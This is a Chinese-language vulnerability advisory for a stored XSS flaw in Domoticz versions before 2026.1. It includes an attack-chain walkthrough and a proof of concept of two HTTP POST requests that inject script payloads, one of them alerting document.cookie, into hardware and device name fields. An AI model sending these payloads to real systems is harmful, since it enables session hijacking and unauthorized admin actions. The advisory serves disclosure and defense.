CVE-2026-1001 CVSS 4.8 中危

CVE-2026-1001 Domoticz 存储型XSS漏洞

披露日期: 2026-03-25

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-1001

漏洞类型

存储型跨站脚本

CVSS评分

4.8 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

Domoticz

漏洞概述

Domoticz 2026.1之前的版本在Web界面的“添加硬件”和“重命名设备”功能中存在存储型XSS漏洞。经过身份验证的管理员可以通过提交包含脚本或HTML标记的恶意名称来注入任意代码，导致查看受影响页面的用户浏览器在会话上下文中执行未授权操作。

技术细节

该漏洞源于Domoticz在处理设备命名和硬件配置时缺乏适当的输出编码。攻击者（需具备管理员权限）可以在设备名称或硬件名称字段中注入恶意的JavaScript代码（如<script>标签）。由于应用未对存储数据进行转义，当其他用户访问包含这些恶意名称的页面时，浏览器会将数据解析为HTML/JS并执行。CVSS向量显示攻击需要高权限和用户交互，影响范围局限于当前会话的机密性和完整性。

攻击链分析

STEP 1

1. 获取权限

攻击者需要获取Domoticz系统的管理员账户凭证，因为CVSS向量显示权限要求为高（PR:H）。

STEP 2

2. 注入Payload

攻击者登录后台，访问“添加硬件”或“重命名设备”功能，在名称字段输入包含恶意JS代码的Payload（如<script>alert(1)</script>）。

STEP 3

3. 持久化存储

服务器将未经过滤的恶意名称存储在数据库中。

STEP 4

4. 触发漏洞

当其他管理员或用户访问包含该恶意设备/硬件名称的Web页面时，恶意代码在其浏览器中执行。

STEP 5

5. 执行恶意操作

利用当前用户的会话上下文，窃取Cookie、执行管理操作或进行进一步的内网渗透。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

/*
 * PoC for CVE-2026-1001: Domoticz Stored XSS via Hardware/Device Name
 * Description: Inject a malicious script into the hardware name field.
 */

POST /hardware/create HTTP/1.1
Host: target-domoticz-host
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=ADMIN_SESSION_COOKIE

hardwarename=<img src=x onerror=alert('XSS')>&hardwaretype=13&enabled=true

/*
 * Alternatively, renaming a device:
 */

POST /rename_device HTTP/1.1
Host: target-domoticz-host
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=ADMIN_SESSION_COOKIE

idx=DEVICE_ID&name=<script>alert(document.cookie)</script>

影响范围

Domoticz < 2026.1

防御指南

临时缓解措施

在升级修复前，建议严格限制管理员账户的使用，仅允许可信人员修改硬件配置。同时，管理员在查看设备列表时应保持警惕，若发现异常名称应立即删除。建议在操作完成后立即登出系统。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表